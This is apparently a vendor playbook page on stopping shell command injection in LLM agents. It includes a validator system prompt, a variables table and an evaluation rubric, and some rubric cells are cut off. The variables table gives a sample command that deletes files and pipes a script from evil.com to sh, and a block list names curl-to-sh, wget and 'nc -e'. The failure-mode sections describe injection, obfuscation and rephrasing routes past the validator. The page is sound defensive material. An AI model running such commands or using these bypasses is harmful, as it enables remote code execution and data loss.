This playbook is for agent platform engineers who need to secure code execution tools against shell command injection. When an LLM agent generates shell commands for a sandbox, container, or local executor, the generated command string is an untrusted input. This prompt acts as a pre-execution validation layer that inspects the command for injection patterns, enforces an allowlist of permitted operations, and blocks dangerous constructs before they reach the shell. Use this prompt when your agent has a tool that accepts a shell command string and you need a structured security gate between the model output and the execution environment.
Prompt
Shell Command Injection Prevention in Agents

When to Use This Prompt
Defines the job-to-be-done, ideal user, required context, and limitations for a pre-execution shell command validation prompt.
The ideal user is an engineer integrating LLM agents with execution backends such as Docker containers, Kubernetes pods, or ephemeral VMs. You should have a defined allowlist of permitted commands (e.g., ls, cat, grep, python, node) and a clear understanding of which flags, pipes, redirects, and subshells are acceptable in your environment. The prompt requires two inputs: the raw command string generated by the model and your security policy expressed as an allowlist of permitted operations. It returns a structured verdict (ALLOW or BLOCK) with a reason code and a sanitized command when safe. This prompt is designed to be called synchronously before any bytes are passed to the execution environment.
Do not use this prompt as a replacement for sandboxing, least-privilege execution, or OS-level controls. It is one layer in a defense-in-depth strategy. The prompt cannot catch all injection vectors—particularly those exploiting zero-day vulnerabilities in the shell or kernel itself. It also cannot reason about the content of files being read or written, only the structure of the command. For high-risk environments, combine this prompt with seccomp profiles, read-only filesystems, network egress restrictions, and human-in-the-loop approval for commands that modify state. If your agent needs to execute arbitrary code that cannot be constrained by an allowlist, this prompt is insufficient; you need a full sandbox escape prevention strategy.
Use Case Fit
Where this prompt works and where it does not. Use these cards to decide if a pre-execution validation prompt is the right tool for your shell command injection risk.
Good Fit: Agent Code Execution Sandboxes
Use when: an AI agent generates and executes shell commands in a sandboxed environment. Guardrail: The prompt acts as a pre-execution gate, inspecting commands for injection patterns, enforcing an allowlist of safe binaries, and blocking dangerous constructs like curl | sh or backtick expansion before they reach the shell.
Bad Fit: Replacing Kernel-Level Security
Avoid when: you need a hard security boundary. An LLM-based validation prompt is a probabilistic filter, not a syscall sandbox. Guardrail: Always layer this prompt with OS-level controls (seccomp, AppArmor, restricted containers). The prompt reduces risk; the kernel enforces the boundary.
Required Inputs: Command String and Context
What you need: the raw shell command string, the agent's task context, and a defined allowlist of permitted binaries and flags. Guardrail: Without an explicit allowlist, the prompt cannot distinguish a legitimate git clone from a malicious git clone with injected arguments. Provide the policy, not just the command.
Operational Risk: False Positives Blocking Agents
What to watch: an overly strict prompt can block safe commands, breaking agent workflows and causing silent failures. Guardrail: Implement a structured output that separates BLOCK from ALLOW with a REVIEW tier for ambiguous commands. Log all blocks for tuning and never block without an observable signal.
Operational Risk: Obfuscated Injection Bypass
What to watch: attackers use base64 encoding, hex escapes, or environment variable expansion to hide malicious payloads from pattern-matching prompts. Guardrail: The prompt must include a decoding and normalization step before analysis. Pair it with a test harness that includes obfuscated injection cases to measure detection coverage.
Architectural Fit: Pre-Execution, Not Post-Mortem
Use when: you can intercept the command before it runs. This prompt is a blocking gate, not a log analyzer. Guardrail: Integrate it into the agent's tool-call pipeline so that the model's output is validated before the shell tool is invoked. If the command already ran, you need an audit and incident response playbook, not this prompt.
Copy-Ready Prompt Template
Paste this system prompt into your pre-execution validation layer to inspect generated shell commands for injection patterns and enforce allowlists.
This prompt acts as a security gate before any shell command reaches the execution environment. It is designed to be placed between the agent's planning step and the actual exec or subprocess call. The model is instructed to act as a strict validator, not a general-purpose assistant. It must output a structured JSON verdict that your application code can parse to either allow or block the command. The prompt uses square-bracket placeholders for your specific allowlist, blocklist, and risk tolerance, ensuring you can adapt it to your operating system, language runtime, and organizational security policy without weakening the core defense logic.
textYou are a pre-execution security validator for a shell command agent. Your sole function is to inspect a proposed shell command and determine if it is safe to execute based on a strict security policy. You do not execute commands, explain general concepts, or engage in dialogue. You output only a single JSON object conforming to the [OUTPUT_SCHEMA]. ## Security Policy - **Allowed Commands:** Only commands explicitly listed in [ALLOWED_COMMANDS] are permitted. Any command not on this list must be blocked. - **Allowed Flags/Arguments:** For each allowed command, only the flags and arguments specified in [ALLOWED_ARGUMENTS] are permitted. - **Blocked Patterns:** The command must not contain any patterns from [BLOCKED_PATTERNS], which include command chaining (`;`, `&&`, `||`), subshells (`$()`, backticks), redirection (`>`, `>>`, `<`), pipes (`|`), and any form of encoding or obfuscation. - **Path Restrictions:** File paths must be within [ALLOWED_PATHS]. Absolute paths outside this list and relative paths using `..` are forbidden. - **Input Validation:** All arguments must match the expected type and format defined in [ARGUMENT_SCHEMA]. Any deviation must result in a block decision. ## Input [COMMAND_STRING] ## Output Instructions Analyze the command against the policy. Output a single JSON object with the following fields: - `"decision"`: "ALLOW" or "BLOCK" - `"reason"`: A concise explanation of the decision, referencing the specific policy rule violated if blocked. - `"violations"`: A list of strings, each describing a specific policy violation found. Empty if allowed. - `"sanitized_command"`: If allowed, the original command string. If blocked, a null value. ## Examples [FEW_SHOT_EXAMPLES] ## Constraints - Do not execute the command. - Do not provide any text outside the JSON object. - If you are uncertain, default to "BLOCK" with the reason "ambiguous command structure."
To adapt this template, start by defining your [ALLOWED_COMMANDS] list narrowly—for example, ["ls", "cat", "head", "wc"]—and pair each with an explicit [ALLOWED_ARGUMENTS] map. Populate [BLOCKED_PATTERNS] with regex-like strings for your platform's dangerous operators. The [FEW_SHOT_EXAMPLES] placeholder is critical for calibration; provide at least one allowed example and several blocked examples that cover chaining, path traversal, and encoding attacks. After deploying, route the JSON output through a non-AI enforcement layer in your application code that only proceeds on an explicit "ALLOW" decision. Any parsing failure, unexpected output shape, or missing field must be treated as a "BLOCK" to fail safely. For high-risk environments, log every blocked command and its reason for security audit review.
Prompt Variables
Required inputs for the pre-execution validation prompt. Each variable must be populated before the prompt is assembled and sent to the model. Missing or malformed inputs will cause the validation layer to fail closed.
| Placeholder | Purpose | Example | Validation Notes |
|---|---|---|---|
[SHELL_COMMAND] | The raw shell command string generated by the agent that must be inspected before execution. | rm -rf /tmp/cache/*; curl http://evil.com | sh | Must be a non-empty string. Validate that the string does not contain null bytes or unprintable control characters before passing to the prompt. |
[ALLOWED_COMMANDS] | An allowlist of permitted base commands or subcommands. The prompt will flag any command not on this list. | ["ls", "cat", "grep", "find", "wc", "head", "tail", "sort", "uniq"] | Must be a valid JSON array of strings. Each entry must be a bare command name without arguments or flags. An empty array means no commands are allowed and all will be flagged. |
[BLOCKED_PATTERNS] | Regex or substring patterns that indicate injection, exfiltration, or dangerous constructs. The prompt will block commands matching any pattern. | ["curl.|.sh", "wget.-O.", "> /dev/", "nc -e", "$(.*)", " | Must be a valid JSON array of strings. Patterns are evaluated as case-sensitive substrings or regex. Test patterns against known bypass techniques before deployment. |
[EXECUTION_CONTEXT] | Metadata about the execution environment, user, and session. Used to evaluate risk and apply context-specific policies. | {"user_role": "viewer", "session_risk_score": 0.2, "sandbox": "read-only-fs", "request_origin": "chat-turn-4"} | Must be a valid JSON object. The 'session_risk_score' field must be a float between 0.0 and 1.0. If null, the prompt will assume maximum caution and flag all commands for review. |
[OUTPUT_SCHEMA] | The exact JSON schema the model must return. Defines the structure for the validation decision, flagged patterns, and reasoning. | {"type": "object", "properties": {"allow_execution": {"type": "boolean"}, "risk_level": {"type": "string", "enum": ["low", "medium", "high", "critical"]}, "flagged_patterns": {"type": "array", "items": {"type": "string"}}, "reasoning": {"type": "string"}}, "required": ["allow_execution", "risk_level", "flagged_patterns", "reasoning"]} | Must be a valid JSON Schema object. The 'allow_execution' boolean is the primary gate for the harness. If the schema is missing required fields, the harness must reject the model output and retry or escalate. |
[MAX_COMMAND_LENGTH] | The maximum allowed character length for the command string. Commands exceeding this length are truncated or rejected before prompt assembly. | 4096 | Must be a positive integer. Set based on the model's context window and the expected complexity of legitimate commands. Excessively long commands are a common smuggling vector. |
[SANDBOX_PROFILE] | Identifier for the sandbox or container profile where the command would execute. Used to determine if the command's requested capabilities exceed the sandbox's restrictions. | "read-only-filesystem-no-network" | Must be a non-empty string matching a known sandbox profile in the execution platform. If the profile does not exist, the harness must reject execution and alert operations. |
[PREVIOUS_COMMANDS] | A list of commands executed in the current session. Used to detect multi-step injection or progressive probing patterns. | ["ls -la /tmp", "cat /tmp/log.txt", "find /tmp -name '*.log'"] | Must be a valid JSON array of strings, or null if this is the first command in the session. If provided, the prompt will check for cumulative risk escalation across the sequence. |
Implementation Harness Notes
How to wire the pre-execution validation prompt into an agent's tool-call pipeline with sandboxing, logging, and human review gates.
Integrating this prompt into an agent application requires placing it as a synchronous, pre-execution gate before any shell command reaches the system runtime. The agent's tool-use loop must be modified so that when a run_shell_command or equivalent tool is invoked, the generated command string is intercepted and passed to this validation prompt before process creation. The validation prompt should run in a separate, stateless model call with no access to conversation history or external tools, preventing the agent's broader context from being poisoned by prior turns. The output of this call is a structured JSON decision (allow, block, quarantine) that your harness must enforce programmatically—never rely on the model's text response alone to gate execution.
The implementation should follow a strict circuit-breaker pattern. Wrap the validation call in a try-catch block that defaults to block if the model call fails, times out, or returns malformed JSON. For high-risk environments, implement a two-stage validation: first, apply a deterministic allowlist of known-safe command patterns (e.g., ls, cat, echo with no pipes or redirects) that bypasses the model call entirely for latency and cost savings. Second, route everything else through the LLM validation prompt. The prompt's [ALLOWLIST] and [BLOCKLIST] placeholders should be populated from a configuration file or feature flag system, not hardcoded, so security operations can update blocked patterns without a code deployment. Log every validation decision—including the raw command, the model's reasoning, the final verdict, and the session ID—to a structured logging system for audit and incident response.
For production hardening, integrate this validation layer with your sandboxing infrastructure. A quarantine verdict should route the command to an ephemeral, network-isolated container with read-only filesystem access, where it can be observed and logged before any side effects reach production systems. Commands that receive a block verdict should trigger an alert to the on-call security channel if they originate from an authenticated user session (as opposed to a red-team exercise). Never pass the raw blocked command back to the agent for 'rephrasing'—this creates a jailbreak vector where the agent iterates until it finds a bypass. Instead, return a generic refusal to the agent and escalate to human review. The human review queue should display the blocked command, the model's reasoning, the session context, and a one-click option to allow, deny permanently, or add the pattern to the allowlist or blocklist for future runs.
Expected Output Contract
Defines the required JSON structure, field types, and validation rules for the pre-execution shell command analysis. Use this contract to parse and validate the model's response before allowing or blocking command execution.
| Field or Element | Type or Format | Required | Validation Rule |
|---|---|---|---|
verdict | string enum: ALLOW, BLOCK, FLAG | Must be exactly one of the three allowed values. Reject any other string. | |
risk_score | integer 0-100 | Must be an integer within the inclusive range. If verdict is BLOCK, score must be >= 80. | |
blocked_patterns | array of strings | Required if verdict is BLOCK. Each string must match a pattern from the provided allowlist/blocklist. Null allowed otherwise. | |
sanitized_command | string or null | If verdict is ALLOW and modifications were made, provide the cleaned command string. Otherwise, null. | |
explanation | string | Non-empty string explaining the primary risk or reason for allowance. Must not exceed 500 characters. | |
requires_approval | boolean | Must be true if risk_score >= 50 and verdict is not BLOCK. Human-in-the-loop check required. | |
flagged_tokens | array of objects | Array of {token: string, risk: string}. Required if verdict is FLAG. Must list specific substrings or commands that triggered the flag. |
Common Failure Modes
Shell command injection in agents fails in predictable ways. These are the most common production failure modes and the specific guardrails that prevent them.
Argument Injection via Unvalidated User Input
What to watch: User-supplied data concatenated directly into shell commands without sanitization, allowing attackers to inject additional flags, commands via separators (;, &&, |), or sub-shell execution ($(), backticks). Guardrail: Never interpolate raw user input into command strings. Require the pre-execution validation prompt to flag any input containing shell metacharacters, command separators, or sub-shell syntax before the command reaches the execution layer.
Path Traversal in File Operation Commands
What to watch: Commands that read, write, or delete files using user-influenced paths containing ../, absolute paths, or symlink references, enabling access outside the intended sandbox directory. Guardrail: The validation prompt must enforce a strict allowlist of permitted base directories, reject any path containing traversal sequences, and require canonical path resolution before approving the command.
Command Substitution Bypass in 'Safe' Commands
What to watch: Attackers embedding $(malicious) or backtick expressions inside arguments to otherwise-allowed commands, achieving code execution even when the base command is on the allowlist. Guardrail: The pre-execution prompt must recursively inspect all arguments for nested command substitution syntax, not just the top-level command. Block any argument containing unexpanded substitution tokens regardless of the parent command's allowlist status.
Allowlist Drift After Model or Prompt Updates
What to watch: A command allowlist that was secure under one model version becomes permissive after a model update changes how commands are generated, or after prompt modifications accidentally relax constraints. Guardrail: Pin the validation prompt's allowlist as a separate, version-controlled configuration artifact. Run regression tests comparing blocked vs. allowed commands across model updates, and alert on any change in allow/deny decisions.
Encoding Obfuscation Evading Pattern Matching
What to watch: Injection payloads encoded in base64, hex, or Unicode escapes that bypass simple string-matching defenses, then decode to malicious commands at execution time. Guardrail: The validation prompt must include explicit instructions to detect and decode common encoding patterns before evaluating the command. Flag any argument that appears to contain encoded content, and require the agent to justify why decoding is necessary.
Multi-Step Injection Across Tool Calls
What to watch: An attacker spreads an injection across multiple tool calls—first writing a malicious script to disk via an allowed file-write, then triggering its execution through a separate command. Single-step validation misses the composite attack. Guardrail: Maintain session-level state tracking of all files created or modified by the agent. The validation prompt must cross-reference execution requests against recently created files and flag any attempt to execute content that originated from user input or untrusted sources.
Evaluation Rubric
Use this rubric to test the pre-execution validation prompt against a representative set of safe and unsafe shell commands. Each criterion targets a specific failure mode observed in agent command injection attacks.
| Criterion | Pass Standard | Failure Signal | Test Method |
|---|---|---|---|
Allowlist Adherence | Only commands matching the [ALLOWED_COMMANDS] list are marked safe | A command not in the allowlist is classified as safe or a blocked command is allowed to proceed | Run a test suite of 50 commands where 25 are outside the allowlist. Assert 100% block rate on disallowed commands. |
Dangerous Construct Detection | Commands containing backticks, $(), eval, exec, or I/O redirection to sensitive paths are flagged as dangerous | A command using | Inject 10 known dangerous patterns from OWASP command injection cheat sheet. Assert all are flagged with confidence >= 0.95. |
Argument Injection Resistance | Arguments containing semicolons, pipes, or newlines are treated as injection attempts, not legitimate chaining | A command like | Pass a command with a benign base but a malicious injected suffix. Assert the entire command is blocked, not partially allowed. |
Obfuscation Detection | Base64, hex, and character substitution payloads are decoded and inspected before classification | An obfuscated command like | Feed 5 obfuscated variants of a blocked command. Assert all are detected and blocked with the deobfuscated form cited in the reason. |
Path Traversal Prevention | Commands referencing paths outside [ALLOWED_PATHS] are blocked, including ../ and symlink escapes | A command reading | Test with 10 path traversal strings. Assert any path not starting with an allowed base path is rejected. |
Output Validation Consistency | The prompt returns valid JSON matching [OUTPUT_SCHEMA] for every input, including edge cases | The response is malformed JSON, missing required fields, or contains extra text outside the JSON object | Run 100 varied inputs through the prompt. Assert 100% parseable JSON and schema conformance using a JSON Schema validator. |
False Positive Rate on Benign Commands | Common safe commands with normal arguments are allowed without blocking | A command like | Run a set of 30 typical safe commands for the agent's domain. Assert >= 95% are marked safe with confidence >= 0.9. |
Multi-Step Injection Blocking | Commands attempting to download and execute a remote script are blocked at the download stage | A curl command that fetches a script is allowed because curl is in the allowlist, ignoring the pipe to sh | Test with |
Enabling Efficiency, Speed & Accuracy
Intelligent Analysis, Decision & Execution
We build AI systems for teams that need search across company data, workflow automation across tools, or AI features inside products and internal software.
Talk to Us
Search across company data
Give teams answers from docs, tickets, runbooks, and product data with sources and permissions.
Useful when people spend too long searching or get different answers from different systems.

Automate internal workflows
Use AI to route work, draft outputs, trigger actions, and keep approvals and logs in place.
Useful when repetitive work moves across multiple tools and teams.

Add AI to products and internal tools
Build assistants, guided actions, or decision support into the software your team or customers already use.
Useful when AI needs to be part of the product, not a separate tool.
Adapt This Prompt
How to adapt
Start with the base pre-execution validation prompt. Use a simple allowlist of permitted commands (e.g., ls, cat, grep, echo) and block everything else. Keep the prompt focused on pattern matching for obvious injection markers: semicolons, backticks, $(), pipes, and redirects. No sandbox integration yet—just log blocked commands and return a refusal.
code[SYSTEM_INSTRUCTION] You are a command validation layer. Before any shell command executes, inspect it for: - Command separators: ; | && || - Subshell invocation: $() `` - Redirection: > >> < - Non-allowlisted commands If the command passes, output {"allow": true, "sanitized_command": "[COMMAND]"}. If blocked, output {"allow": false, "reason": "[REASON]", "blocked_pattern": "[PATTERN]"}.
Watch for
- Missing encoding-based bypasses (base64, hex escapes)
- Overly broad allowlists that defeat the purpose
- No logging of blocked attempts for later analysis
- False positives on legitimate pipes in allowed commands

About the author
Prasad Kumkar
CEO & MD, Inference Systems
Prasad Kumkar is the CEO & MD of Inference Systems and writes about AI systems architecture, LLM infrastructure, model serving, evaluation, and production deployment. Over 5+ years, he has worked across computer vision models, L5 autonomous vehicle systems, and LLM research, with a focus on taking complex AI ideas into real-world engineering systems.
His work and writing cover AI systems, large language models, AI agents, multimodal systems, autonomous systems, inference optimization, RAG, evaluation, and production AI engineering.
Partnered with leading AI, data, and software stack.
How We Work
Custom AI workflows for your Business
One-fit-all AI don't work for modern businesses. At Inferensys, we aim to understand your business & custom requirements; which we use to define most efficient agentic workflows, the data, and the tools for your business.
01
Review the use case
We understand the task, the users, and where AI can actually help.
Read more02
Pick the right approach
We define what needs search, automation, or product integration.
Read more03
Build the first useful version
We implement the part that proves the value first.
Read more04
Improve from there
We add the checks and visibility needed to keep it useful.
Read moreThe first call is a practical review of your use case and the right next step.
Talk to Us